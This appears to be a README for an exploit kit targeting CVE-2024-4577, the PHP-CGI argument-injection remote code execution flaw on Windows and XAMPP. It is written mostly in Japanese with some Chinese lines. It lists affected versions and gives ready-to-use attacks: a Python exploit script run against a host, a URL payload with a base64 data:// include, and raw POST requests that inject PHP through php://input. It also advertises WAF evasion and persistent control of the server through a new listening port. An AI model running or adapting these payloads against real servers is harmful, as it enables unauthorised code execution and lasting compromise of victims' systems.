CVE-2024-4577-PHP-RCE

プロジェクト概要と原理

• PHPのデフォルト環境（XAMPP）を利用した世界初のCVE-2024-4577 PHP-CGI RCEエクスプロイト。
• PHPデフォルト環境を利用した世界初のCVE-2024-4577 PHP-CGI RCEエクスプロイト。オリジナルエクスプロイトを共有し、SSRFをサポートし、WAFバイパスをサポートします。
• PHPデフォルト環境でのRCEを実現。原理：cgi.force_redirect + REDIRECT-STATUS。
• オリジナルの新しいEXPを追加し、WAFバイパスシナリオの手法をサポート。原理：FastCGIサーバー + FastCGIプロトコル通信。
• オリジナルの新しいEXPを追加し、SSRFシナリオの手法をサポート。原理：data://プロトコル + GETリクエスト。

EXP 1 の利点

• allow_url_include、auto_prepend_file、auto_append_file を必要とせずにRCE可能。任意のファイルやPHPファイルを含めることができます。
• WAFが頻繁にブロックするキーワード allow_url_include、auto_prepend_file、auto_append_file が出現しません。
• FastCGIサーバーのすべての通信はWAFに記録されません。
• 新しいポートをリッスンするため、PHPサーバーを永続的に制御でき、ApacheやPHPから独立しています。

脆弱性概要

情報	内容
脆弱性名	PHP RCE
脆弱性ID	CVE-2024-4577
リスクレベル	高
脆弱性タイプ	RCE
悪用難易度	低

影響を受けるバージョン

• PHP Windows版 8.3.0 <= 影響を受けるバージョン < 8.3.8
• PHP Windows版 8.2.0 <= 影響を受けるバージョン < 8.2.20
• PHP Windows版 8.1.0 <= 影響を受けるバージョン < 8.1.29
• PHP Windows版 影響を受けるバージョン == 8.0.x
• PHP Windows版 影響を受けるバージョン == 7.x
• PHP Windows版 影響を受けるバージョン == 5.x
• XAMPP Windows版 8.2.0 <= 影響を受けるバージョン <= 8.2.12
• XAMPP Windows版 8.1.0 <= 影響を受けるバージョン <= 8.1.25
• XAMPP Windows版 影響を受けるバージョン == 8.0.x
• XAMPP Windows版 影響を受けるバージョン == 7.x
• XAMPP Windows版 影響を受けるバージョン == 5.x

EXP 1

WAFバイパスシナリオ + デフォルトシナリオで使用可能:

python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort

例:

python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80

EXP 2

SSRFシナリオ + デフォルトシナリオで使用可能:

http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"

EXP 3

デフォルトシナリオで使用可能:

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost

<?php die("Te"."sT");?>

EXP 4

デフォルトシナリオで使用可能:

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN

<?php die("Te"."sT");?>

再現

1. サーバー環境：

XAMPP Windows版 8.2.12

2. サーバーにXAMPPをダウンロードしてインストール：

https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

或者自主去这里挑受影响版本：https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

3. サーバー設定

无需任何修改，保持默认配置

4. クライアントでEXPを使用

使用上述EXP进行测试

5. 検証

观察是否返回字符串 "TesT" 或者服务端system.ini文件内容